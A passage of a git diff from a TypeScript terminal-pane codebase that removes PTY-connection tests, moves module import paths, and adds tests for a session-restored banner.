-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { getFitOverrideForPane, setFitOverride } =
-        await import('@/lib/pane-manager/mobile-fit-overrides')
-      const transport = createMockTransport()
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-
-      const binding = connectPanePty(
-        ...mockPanePtyArgs(
-          pane,
-          createManager(1),
-          bindPaneAgentTitleMocks(createDeps(), agentTitleMocks)
-        )
-      )
-      const onPtySpawn = createdTransportOptions[0]?.onPtySpawn as
-        | ((ptyId: string) => void)
-        | undefined
-      expect(onPtySpawn).toBeTypeOf('function')
-      onPtySpawn?.('pty-fit')
-      setFitOverride('pty-fit', 'mobile-fit', 49, 20)
-
-      expect(getFitOverrideForPane(1, 'tab-1')).toEqual({ mode: 'mobile-fit', cols: 49, rows: 20 })
-      expect(pane.container.dataset.ptyId).toBe('pty-fit')
-
-      binding.dispose()
-
-      expect(getFitOverrideForPane(1, 'tab-1')).toBeNull()
-      expect(pane.container.dataset.ptyId).toBeUndefined()
-    })
-
-    it('continues post-spawn size reconcile after a transient mobile presence lock', async () => {
-      const frameCallbacks: FrameRequestCallback[] = []
-      globalThis.requestAnimationFrame = vi.fn((callback: FrameRequestCallback) => {
-        frameCallbacks.push(callback)
-        return frameCallbacks.length
-      })
-      const runNextFrame = (): void => {
-        const callback = frameCallbacks.shift()
-        if (!callback) {
-          throw new Error('expected a queued animation frame')
-        }
-        callback(0)
-      }
-
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks3 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { setDriverForPty } = await import('@/lib/pane-manager/mobile-driver-state')
-
-      const ptyId = 'pty-post-spawn-transient-lock'
-      setDriverForPty(ptyId, { kind: 'mobile', clientId: 'phone-1' })
-      try {
-        const transport = createMockTransport(ptyId)
-        transportFactoryQueue.push(transport)
-        mockStoreState = {
-          ...mockStoreState,
-          tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: null }] },
-          ptyIdsByTabId: { 'tab-1': [] }
-        }
-        const pane = createPane(1)
-        pane.terminal.cols = 80
-        pane.terminal.rows = 24
-
-        connectPanePty(
-          ...mockPanePtyArgs(
-            pane,
-            createManager(1),
-            bindPaneAgentTitleMocks(createDeps(), agentTitleMocks3)
-          )
-        )
-        runNextFrame()
-        await flushAsyncTicks()
-
-        pane.terminal.cols = 120
-        pane.terminal.rows = 40
-        runNextFrame()
-        expect(transport.resize).not.toHaveBeenCalled()
-
-        setDriverForPty(ptyId, { kind: 'idle' })
-        runNextFrame()
-
-        expect(transport.resize).toHaveBeenCalledWith(120, 40)
-      } finally {
-        setDriverForPty(ptyId, { kind: 'idle' })
-      }
-    })
-
-    it('spawns the delayed primary pane of an issue-command split when its sibling owns the tab PTY fallback', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks5 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      let mainPtyId: string | null = null
-      const mainTransport = createMockTransport()
-      mainTransport.getPtyId.mockImplementation(() => mainPtyId)
-      mainTransport.attach.mockImplementation(({ existingPtyId }: { existingPtyId: string }) => {
-        mainPtyId = existingPtyId
-      })
-      mainTransport.connect.mockImplementation(async () => {
-        mainPtyId = 'pty-main'
-        const onPtySpawn = createdTransportOptions[0]?.onPtySpawn as
-          | ((ptyId: string) => void)
-          | undefined
-        onPtySpawn?.(mainPtyId)
-        return mainPtyId
-      })
-      let issuePtyId: string | null = null
-      const issueTransport = createMockTransport()
-      issueTransport.getPtyId.mockImplementation(() => issuePtyId)
-      issueTransport.connect.mockImplementation(async () => {
-        issuePtyId = 'pty-issue'
-        const onPtySpawn = createdTransportOptions[1]?.onPtySpawn as
-          | ((ptyId: string) => void)
-          | undefined
-        onPtySpawn?.(issuePtyId)
-        return issuePtyId
-      })
-      transportFactoryQueue.push(mainTransport, issueTransport)
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: null }] },
-        ptyIdsByTabId: { 'tab-1': [] }
-      }
-      const updateStoreTabPtyId = vi.fn((_tabId: string, ptyId: string) => {
-        mockStoreState.tabsByWorktree['wt-1'][0].ptyId = ptyId
-        const livePtyIds = mockStoreState.ptyIdsByTabId?.['tab-1'] ?? []
-        if (!livePtyIds.includes(ptyId)) {
-          livePtyIds.push(ptyId)
-        }
-      })
-
-      const mainPane = createPane(1)
-      const issuePane = createPane(2)
-      const manager = createManager(2)
-      manager.getPanes = vi.fn(() => [mainPane, issuePane])
-      const primaryCwd = createDeferred<string>()
-      const sharedTransportsRef = { current: new Map() }
-
-      const mainArgs = mockPanePtyArgs(
-        mainPane,
-        manager,
-        createDeps({
-          startup: { command: 'codex' },
-          cwdPromise: primaryCwd.promise,
-          isVisibleRef: { current: false },
-          paneTransportsRef: sharedTransportsRef,
-          updateTabPtyId: updateStoreTabPtyId
-        })
-      )
-      bindPaneAgentTitleMocks(mainArgs[2], agentTitleMocks5)
-
-      connectPanePty(...mainArgs)
-      const issueArgs = mockPanePtyArgs(
-        issuePane,
-        manager,
-        createDeps({
-          startup: { command: 'echo issue' },
-          isVisibleRef: { current: false },
-          paneTransportsRef: sharedTransportsRef,
-          updateTabPtyId: updateStoreTabPtyId
-        })
-      )
-      bindPaneAgentTitleMocks(issueArgs[2], agentTitleMocks5)
-
-      connectPanePty(...issueArgs)
-
-      await flushAsyncTicks(20)
-      expect(issueTransport.connect).toHaveBeenCalledTimes(1)
-      expect(mockStoreState.tabsByWorktree['wt-1'][0].ptyId).toBe('pty-issue')
-      expect(mainTransport.connect).not.toHaveBeenCalled()
-
-      primaryCwd.resolve('/workspace')
-      await flushAsyncTicks(20)
-      expect(mainTransport.attach).not.toHaveBeenCalled()
-      expect(mainTransport.connect).toHaveBeenCalledTimes(1)
-      expect(mainTransport.connect).toHaveBeenCalledWith(
-        expect.not.objectContaining({ sessionId: expect.any(String) })
-      )
-      expect(createdTransportOptions[0]?.command).toBe('codex')
-      expect(createdTransportOptions[1]?.command).toBe('echo issue')
-      expect(mainPtyId).toBe('pty-main')
-      expect(issuePtyId).toBe('pty-issue')
-    })
-
-    it('does not reuse a sibling split pane pending spawn after remount', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks6 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-
-      const mainSpawn = createDeferred<string>()
-      const setupSpawn = createDeferred<string>()
-
-      const mainTransport = createMockTransport()
-      mainTransport.connect.mockImplementation(async () => mainSpawn.promise)
-      const setupTransport = createMockTransport()
-      setupTransport.connect.mockImplementation(async () => setupSpawn.promise)
-      const remountTransport = createMockTransport()
-      transportFactoryQueue.push(mainTransport, setupTransport, remountTransport)
-
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: null }] },
-        repos: [{ id: 'repo1', connectionId: null }]
-      }
-
-      const sharedTransportsRef = { current: new Map() }
-      connectPanePty(
-        ...mockPanePtyArgs(
-          createPane(1),
-          createManager(2),
-          bindPaneAgentTitleMocks(
-            createDeps({ paneTransportsRef: sharedTransportsRef }),
-            agentTitleMocks6
-          )
-        )
-      )
-      connectPanePty(
-        ...mockPanePtyArgs(
-          createPane(2),
-          createManager(2),
-          bindPaneAgentTitleMocks(
-            createDeps({
-              startup: { command: 'bash setup-runner.sh' },
-              paneTransportsRef: sharedTransportsRef
-            }),
-            agentTitleMocks6
-          )
-        )
-      )
-
-      const remountDeps = createDeps()
-      const remountPane = createPane(1)
-      connectPanePty(
-        ...mockPanePtyArgs(
-          remountPane,
-          createManager(2),
-          bindPaneAgentTitleMocks(remountDeps, agentTitleMocks6)
-        )
-      )
-
-      setupSpawn.resolve('pty-setup')
-      mainSpawn.resolve('pty-main')
-      for (let i = 0; i < 20; i++) {
-        await Promise.resolve()
-      }
-
-      expect(remountTransport.attach).toHaveBeenCalledWith(
-        expect.objectContaining({ existingPtyId: 'pty-main' })
-      )
-      expect(remountPane.container.dataset.ptyId).toBe('pty-main')
-      expect(remountDeps.syncPanePtyLayoutBinding).toHaveBeenCalledWith(1, 'pty-main')
-      expect(remountDeps.updateTabPtyId).toHaveBeenCalledWith('tab-1', 'pty-main')
-    })
-
-    it('replays a stable-pane adoption without submitting the resume command', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks8 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const stablePtyId = 'stable-pane-session'
-      const transport = createMockTransport()
-      transport.connect.mockImplementation(async ({ callbacks }) => {
-        callbacks.onReattachDetermined?.()
-        transport.getPtyId.mockReturnValue(stablePtyId)
-        callbacks.onData?.('NEWER-LIVE-OUTPUT')
-        return {
-          id: stablePtyId,
-          isReattach: true,
-          replay: 'ORIGINAL-LIVE-OUTPUT'
-        }
-      })
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: null }] },
-        ptyIdsByTabId: { 'tab-1': [] }
-      }
-      const pane = createPane(1)
-      let onDataHandler: ((data: string) => void) | null = null
-      pane.terminal.onData = vi.fn(((handler: (data: string) => void) => {
-        onDataHandler = handler
-        return { dispose: vi.fn() }
-      }) as typeof pane.terminal.onData)
-      const { parseCallbacks, writes } = captureCallbackTerminalWrites(pane)
-      const deps = createDeps({
-        startup: { command: 'codex resume provider-session' }
-      })
-
-      connectPanePty(
-        ...mockPanePtyArgs(pane, createManager(1), bindPaneAgentTitleMocks(deps, agentTitleMocks8))
-      )
-      await flushAsyncTicks(4)
-      if (!onDataHandler || parseCallbacks.length === 0) {
-        throw new Error('expected replay and terminal input handlers')
-      }
-      ;(onDataHandler as (data: string) => void)('DURING_ADOPTION_REPLAY\r')
-      expect(transport.sendInput).not.toHaveBeenCalledWith('DURING_ADOPTION_REPLAY\r')
-      for (let step = 0; step < 30; step += 1) {
-        parseCallbacks.shift()?.()
-        await flushAsyncTicks(2)
-      }
-      ;(onDataHandler as (data: string) => void)('AFTER_ADOPTION_REPLAY\r')
-
-      expect(pane.container.dataset.ptyId).toBe(stablePtyId)
-      expect(writes.join('')).toContain('ORIGINAL-LIVE-OUTPUT')
-      expect(writes.join('').indexOf('ORIGINAL-LIVE-OUTPUT')).toBeLessThan(
-        writes.join('').indexOf('NEWER-LIVE-OUTPUT')
-      )
-      expect(transport.sendInput).not.toHaveBeenCalledWith('codex resume provider-session\r')
-      expect(transport.sendInput).toHaveBeenCalledWith('AFTER_ADOPTION_REPLAY\r', 'query-reply')
-      expect(deps.syncPanePtyLayoutBinding).toHaveBeenCalledWith(1, stablePtyId)
-    })
-
-    it('forwards focus and hover reports without claiming a parked mirror (#26469)', async () => {
-      // SIGWINCH can re-arm focus reporting; focus replies must not make different-grid mirrors steal PTY ownership from each other.
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks10 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const transport = createMockTransport('pty-live')
-      transportFactoryQueue.push(transport)
-      mockStoreState = {
-        ...mockStoreState,
-        tabsByWorktree: { 'wt-1': [{ id: 'tab-1', ptyId: null }] }
-      }
-      const keyTarget = createKeyboardEventTarget()
-      const pane = createPane(1)
-      Object.assign(pane.terminal, { element: keyTarget.target })
-      const registered: { onData?: (data: string) => void } = {}
-      pane.terminal.onData.mockImplementation((handler: (data: string) => void) => {
-        registered.onData = handler
-        return { dispose: vi.fn() }
-      })
-      const { setFitOverride } = await import('@/lib/pane-manager/mobile-fit-overrides')
-      connectPanePty(
-        ...mockPanePtyArgs(
-          pane,
-          createManager(1),
-          bindPaneAgentTitleMocks(createDeps(), agentTitleMocks10)
-        )
-      )
-      const send = registered.onData
-      if (!send) {
-        throw new Error('expected onData handler to be registered')
-      }
-      setFitOverride('pty-live', 'remote-desktop-fit', 80, 24)
-      transport.claimViewport.mockClear()
-
-      for (const passive of ['\x1b[I', '\x1b[O', '\x1b[<35;10;5M', '\x1b[MC*%']) {
-        send(passive)
-        expect(transport.sendInput).toHaveBeenCalledWith(passive, 'query-reply')
-      }
-      expect(transport.claimViewport).not.toHaveBeenCalled()
-
-      // A focus report landing between Ctrl+C's keydown and its byte must not consume the intent.
-      keyTarget.dispatch(keyEvent({ key: 'c', ctrlKey: true }))
-      send('\x1b[I')
-      expect(transport.claimViewport).not.toHaveBeenCalled()
-      send('\x03')
-      expect(transport.sendInputAccepted).toHaveBeenCalledWith('\x03', 'query-reply')
-      expect(transport.sendInputAccepted).not.toHaveBeenCalledWith('\x1b[I', 'query-reply')
-      expect(transport.claimViewport).toHaveBeenCalledTimes(1)
-
-      send('\x1b[<0;10;5M')
-      expect(transport.claimViewport).toHaveBeenCalledTimes(2)
-      setFitOverride('pty-live', 'desktop-fit', 0, 0)
-    })
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/spawn/spawn-deferred-sleep.ts b/src/renderer/src/components/terminal-pane/pty-connection/spawn/spawn-deferred-sleep.ts
index ec05a35cfed..6d89560062d 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/spawn/spawn-deferred-sleep.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/spawn/spawn-deferred-sleep.ts
@@ -2,7 +2,7 @@ import { isColdRestoreStartup, paneResumeRecord } from '../startup/pane-resume-r
 import { releaseDeferredCwdFence } from './fresh-spawn-start'
 import { isMainResumedSleepPaneCurrent, mainResumedSleepPane } from './main-resumed-sleep-pane'
 import { useAppStore } from '@/store/index'
-import { writeTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
+import { writeTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 import type { SpawnDeferralReason } from '../../../../../../shared/terminal/pty/admission/spawn-admission-contract'
 import {
   agentProviderSessionsEqual,
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/startup/main-pane-resume-banner.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/startup/main-pane-resume-banner.test.ts
index 594f2142d78..febb72759b7 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/startup/main-pane-resume-banner.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/startup/main-pane-resume-banner.test.ts
@@ -28,8 +28,7 @@ const store = vi.hoisted(() => {
     reset: () => {
       state = { terminalPaneResumeOutcomesByPaneKey: {}, terminalLayoutsByTabId: {} }
       listeners.clear()
-    },
-    listenerCount: () => listeners.size
+    }
   }
 })
 
@@ -54,7 +53,15 @@ function attachedView() {
 /** A fresh module, as a renderer reload loads it; session storage survives the reload. */
 async function loadBannerModule(): Promise<typeof ShowOutcome> {
   vi.resetModules()
-  return (await import('../spawn/main-pane-resume-banner')).showMainPaneResumeOutcome
+  const { showMainPaneResumeOutcome, acceptMainPaneResumeStart } =
+    await import('../spawn/main-pane-resume-banner')
+  const { admitTerminalNoticeLifetime } =
+    await import('../../provider-notices/terminal-notice-lifetime')
+  return (session, ptyId) => {
+    admitTerminalNoticeLifetime(ptyId)
+    acceptMainPaneResumeStart(session, ptyId)
+    showMainPaneResumeOutcome(session, ptyId)
+  }
 }
 
 describe("the window's banner for main's start of a pane", () => {
@@ -110,4 +117,83 @@ describe("the window's banner for main's start of a pane", () => {
     ;(await loadBannerModule())(reloaded.session, 'pty-1')
     expect(reloaded.view.showSessionRestoredBanner).not.toHaveBeenCalled()
   })
+
+  it('retains a shown start across a publication gap', async () => {
+    const attach = await loadBannerModule()
+    const publish = (ptyId: string, ptyGeneration: number) =>
+      store.publish({
+        terminalPaneResumeOutcomesByPaneKey: {
+          [PANE_KEY]: { ptyId, ptyGeneration, outcome: 'restored' }
+        }
+      })
+    publish('pty-a', 3)
+    const first = attachedView()
+    attach(first.session, 'pty-a')
+    expect(first.view.showSessionRestoredBanner).toHaveBeenCalledExactlyOnceWith('restored')
+    store.publish({ terminalPaneResumeOutcomesByPaneKey: {} })
+    publish('pty-b', 4)
+    attach(attachedView().session, 'pty-b')
+    publish('pty-a', 3)
+    const remounted = attachedView()
+    attach(remounted.session, 'pty-a')
+    expect(remounted.view.showSessionRestoredBanner).not.toHaveBeenCalled()
+    // A late older fact cannot replace the accepted start or reset suppression.
+    publish('pty-a', 2)
+    attach(remounted.session, 'pty-a')
+    publish('pty-a', 3)
+    attach(remounted.session, 'pty-a')
+    expect(remounted.view.showSessionRestoredBanner).not.toHaveBeenCalled()
+  })
+
+  it('retains a shown start across a publication gap without session storage', async () => {
+    vi.stubGlobal('sessionStorage', {
+      getItem: () => {
+        throw new Error('storage unavailable')
+      },
+      setItem: () => {
+        throw new Error('storage unavailable')
+      }
+    })
+    const attach = await loadBannerModule()
+    const publish = (ptyId: string, ptyGeneration: number) =>
+      store.publish({
+        terminalPaneResumeOutcomesByPaneKey: {
+          [PANE_KEY]: { ptyId, ptyGeneration, outcome: 'restored' }
+        }
+      })
+    publish('pty-a', 3)
+    const first = attachedView()
+    attach(first.session, 'pty-a')
+    expect(first.view.showSessionRestoredBanner).toHaveBeenCalledExactlyOnceWith('restored')
+    store.publish({ terminalPaneResumeOutcomesByPaneKey: {} })
+    publish('pty-b', 4)
+    attach(attachedView().session, 'pty-b')
+    publish('pty-a', 3)
+    const remounted = attachedView()
+    attach(remounted.session, 'pty-a')
+    expect(remounted.view.showSessionRestoredBanner).not.toHaveBeenCalled()
+    // A late older fact cannot replace the accepted start or reset suppression.
+    publish('pty-a', 2)
+    attach(remounted.session, 'pty-a')
+    publish('pty-a', 3)
+    attach(remounted.session, 'pty-a')
+    expect(remounted.view.showSessionRestoredBanner).not.toHaveBeenCalled()
+  })
+
+  it('shows nothing for an outcome naming another terminal', async () => {
+    const showMainPaneResumeOutcome = await loadBannerModule()
+    store.publish({
+      terminalPaneResumeOutcomesByPaneKey: {
+        [PANE_KEY]: { ptyId: 'pty-old', ptyGeneration: 1, outcome: 'restored' }
+      }
+    })
+    const { view, session } = attachedView()
+    showMainPaneResumeOutcome(session, 'pty-1')
+    store.publish({
+      terminalPaneResumeOutcomesByPaneKey: {
+        [PANE_KEY]: { ptyId: 'pty-old', ptyGeneration: 2, outcome: 'resume-unavailable' }
+      }
+    })
+    expect(view.showSessionRestoredBanner).not.toHaveBeenCalled()
+  })
 })
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/startup/saved-resume-startup-cancellation.ts b/src/renderer/src/components/terminal-pane/pty-connection/startup/saved-resume-startup-cancellation.ts
index ae22d5a59ef..fcccfb08c9a 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/startup/saved-resume-startup-cancellation.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/startup/saved-resume-startup-cancellation.ts
@@ -1,10 +1,10 @@
-import { forgetRefusedPaneResume } from '@/lib/forget-refused-pane-resume'
+import { forgetRefusedPaneResume } from '@/lib/agent-session/resume/forget-refused-pane-resume'
 import { useAppStore } from '@/store/index'
+import { clearStaleAgentTabTitleOnConfirmedShell } from '../agent-identity/confirmed-shell-agent-title'
 import type { ColdRestoreAgentResumeStartup } from './fresh-spawn-types'
 import type { PtyPaneStartup } from './pty-pane-startup'
 import type { PtyConnectResult } from '../../pty-transport/pty-transport-types'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
-import { clearStaleAgentTabTitleOnConfirmedShell } from '../agent-identity/confirmed-shell-agent-title'
 
 export function installSavedResumeStartupCancellation(session: ConnectPanePtySession): void {
   session.cancelSavedResumeStartup = (
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/startup/startup-cwd-fallback-notice.ts b/src/renderer/src/components/terminal-pane/pty-connection/startup/startup-cwd-fallback-notice.ts
index 77381989561..e1cef57ae56 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/startup/startup-cwd-fallback-notice.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/startup/startup-cwd-fallback-notice.ts
@@ -1,4 +1,4 @@
-import { writeTerminalOutput } from '@/lib/pane-manager/pane-terminal-output-scheduler'
+import { writeTerminalOutput } from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 import { STARTUP_CWD_FALLBACK_NOTICE } from '../../../../../../shared/startup-cwd-fallback'
 import { shouldWritePtyOutputForeground } from '../output/foreground-output-visibility'
 import type { ConnectPanePtySession } from '../connect-pane-pty-session'
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-environment.ts b/src/renderer/src/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-environment.ts
index 9a9dae38d5f..4e06dda90c8 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-environment.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-environment.ts
@@ -133,7 +133,7 @@ export async function restoreTerminalTestGlobals(): Promise<void> {
   // Flush real-promise settle continuations while window still exists; fake timers postpone them beyond teardown (orca#14728).
   await flushAsyncTicks(20)
   const { cancelPendingSafeFitContinuations } =
-    await import('@/lib/pane-manager/pane-fit-continuation-registry')
+    await import('@/lib/pane-manager/terminal-fit/pane-fit-continuation-registry')
   for (const pane of takeTerminalTestPanes()) {
     // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: fixture panes provide the fit and terminal members read during cancellation.
     cancelPendingSafeFitContinuations(pane as unknown as ManagedPane)
@@ -189,7 +189,7 @@ async function resetSharedTerminalModuleState(): Promise<void> {
     attentionSubscriptions,
     paneRecovery
   ] = await Promise.all([
-    import('@/lib/pane-manager/pane-terminal-output-queue-registry'),
+    import('@/lib/pane-manager/terminal-output/pane-terminal-output-queue-registry'),
     import('@/lib/agent-session/launch/startup/agent-startup-delayed-delivery'),
     import('@/lib/agent-session/launch/startup/agent-startup-delivery-guards'),
     import('@/lib/workspace/creation/setup/hook-command-delayed-delivery'),
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts
index 7f8cef5889d..8a1ce6a8fbc 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts
@@ -1,7 +1,7 @@
 import { describe, vi } from 'vitest'
 import { registerPtyConnectionHiddenOutputSchedulingTests } from '../output/pty-connection-hidden-output-scheduling.spec'
 import { registerPtyConnectionHiddenStartupQueryAdmissionTests } from '../emulation/pty-connection-hidden-startup-query-admission.spec'
-import { registerPtyConnectionHiddenBacklogReconciliationTests } from '../output-restore/pty-connection-hidden-backlog-reconciliation.spec'
+
 import { registerPtyConnectionHiddenOutputRestoreTests } from '../output-restore/pty-connection-hidden-output-restore.spec'
 import {
   registerPtyConnectionHiddenEscapeAdmissionTests,
@@ -11,8 +11,7 @@ import { registerPtyConnectionHiddenSnapshotLiveOverlapTests } from '../output-r
 import { registerPtyConnectionHiddenSnapshotResizeSignalsTests } from '../output-restore/pty-connection-hidden-snapshot-resize-signals.spec'
 import { registerPtyConnectionHiddenResizeAuthorityTests } from '../geometry/pty-connection-hidden-resize-authority.spec'
 import { registerPtyConnectionStalledHiddenRestoreTests } from '../output-restore/pty-connection-stalled-hidden-restore.spec'
-import { registerPtyConnectionDaemonSnapshotReplayTests } from '../reattach/pty-connection-daemon-snapshot-replay.spec'
-import { registerPtyConnectionDeferredReattachLiveOutputTests } from '../reattach/pty-connection-deferred-reattach-live-output.spec'
+
 import { registerPtyConnectionRemotePauseDropNoticeTests } from '../output-restore/pty-connection-remote-pause-drop-notice.spec'
 
 // Main's answer to the window's layout commands, as a switch-on build sends them.
@@ -26,10 +25,7 @@ describe('pty-connection-hidden-atlas-recovery', () => {
   registerPtyConnectionHiddenOutputSchedulingTests()
   registerPtyConnectionHiddenStartupQueryAdmissionTests()
 })
-describe(
-  'pty-connection-hidden-backlog-reconciliation',
-  registerPtyConnectionHiddenBacklogReconciliationTests
-)
+
 describe('pty-connection-hidden-output-restore', registerPtyConnectionHiddenOutputRestoreTests)
 describe('pty-connection-hidden-query-snapshot-restore', () => {
   registerPtyConnectionHiddenEscapeAdmissionTests()
@@ -44,9 +40,5 @@ describe('pty-connection-hidden-snapshot-resize-signals', () => {
   registerPtyConnectionHiddenResizeAuthorityTests()
 })
 describe('pty-connection-stalled-hidden-restore', registerPtyConnectionStalledHiddenRestoreTests)
-describe('pty-connection-daemon-snapshot-replay', registerPtyConnectionDaemonSnapshotReplayTests)
-describe(
-  'pty-connection-deferred-reattach-live-output',
-  registerPtyConnectionDeferredReattachLiveOutputTests
-)
+
 describe('pty-connection-remote-pause-drop-notice', registerPtyConnectionRemotePauseDropNoticeTests)
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts
index 34980f72e97..273ebef996c 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts
@@ -1,5 +1,5 @@
 import { describe, vi } from 'vitest'
-import { registerPtyConnectionMode2031SubscriptionsTests } from '../emulation/pty-connection-mode-2031-subscriptions.spec'
+
 import {
   registerPtyConnectionDaemonPendingEscapeTailTests,
   registerPtyConnectionReattachModeResetTests
@@ -14,7 +14,6 @@ import {
   registerPtyConnectionRemoteWindowsFocusReportTests,
   registerPtyConnectionWindowsFocusReportAuthorityTests
 } from '../input/pty-connection-windows-focus-report-authority.spec'
-import { registerPtyConnectionTerminalInputGatingTests } from '../input/pty-connection-terminal-input-gating.spec'
 
 // Main's answer to the window's layout commands, as a switch-on build sends them.
 vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
@@ -23,7 +22,6 @@ vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
   ).runtimeRpcClientWithLayoutApply(await importOriginal())
 )
 
-describe('pty-connection-mode-2031-subscriptions', registerPtyConnectionMode2031SubscriptionsTests)
 describe('pty-connection-reattach-mode-reset', () => {
   registerPtyConnectionDaemonPendingEscapeTailTests()
   registerPtyConnectionNativeQueryReplyRoutingTests()
@@ -36,4 +34,3 @@ describe('pty-connection-windows-keyboard-reset', () => {
   registerPtyConnectionWindowsFocusReportAuthorityTests()
   registerPtyConnectionWindowsCursorResetDisposalTests()
 })
-describe('pty-connection-terminal-input-gating', registerPtyConnectionTerminalInputGatingTests)
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts
index 6cf4f7756b3..62dc8dd85f2 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts
@@ -1,16 +1,15 @@
 import { describe } from 'vitest'
 import { registerPtyConnectionPendingSpawnTests } from '../spawn/pty-connection-pending-spawn.spec'
-import { registerPtyConnectionSplitSpawnTests } from '../spawn/pty-connection-split-spawn.spec'
+
 import { registerPtyConnectionRestoredRuntimePaneBindingTests } from '../reattach/pty-connection-restored-runtime-pane-binding.spec'
 import { registerPtyConnectionTerminalPasteStartupCommandDeliveryTests } from '../startup/pty-connection-startup-command-delivery.spec'
 import { registerPtyConnectionCommandCodeStatusInferenceTests } from '../agent-identity/pty-connection-command-code-status-inference.spec'
 import { registerPtyConnectionStartupDraftDeliveryTests } from '../startup/pty-connection-startup-draft-delivery.spec'
-import { registerPtyConnectionDeliberateSleepGuardTests } from '../lifecycle/pty-connection-deliberate-sleep-guard.spec'
 import { registerPtyConnectionRemoteRuntimeAttachTests } from '../reattach/pty-connection-remote-runtime-attach.spec'
 import { registerPtyConnectionRuntimePaneTransportRoutingTests } from '../host-ownership/pty-connection-runtime-pane-transport-routing.spec'
 
 describe('pty-connection-pending-spawn', registerPtyConnectionPendingSpawnTests)
-describe('pty-connection-split-spawn', registerPtyConnectionSplitSpawnTests)
+
 describe('pty-connection-runtime-owner-spawn-routing', () => {
   registerPtyConnectionRestoredRuntimePaneBindingTests()
 })
@@ -19,7 +18,6 @@ describe('pty-connection-startup-command-delivery', () => {
   registerPtyConnectionTerminalPasteStartupCommandDeliveryTests()
 })
 describe('pty-connection-startup-draft-delivery', registerPtyConnectionStartupDraftDeliveryTests)
-describe('pty-connection-deliberate-sleep-guard', registerPtyConnectionDeliberateSleepGuardTests)
 describe('pty-connection-remote-runtime-attach', () => {
   registerPtyConnectionRemoteRuntimeAttachTests()
   registerPtyConnectionRuntimePaneTransportRoutingTests()
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts
index 5ead5aebe89..c785becf141 100644
--- a/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts
+++ b/src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts
@@ -1,8 +1,7 @@
 import { describe, vi } from 'vitest'
-import { registerPtyConnectionVisibilityResumeSizeTests } from '../geometry/pty-connection-visibility-resume-size.spec'
+
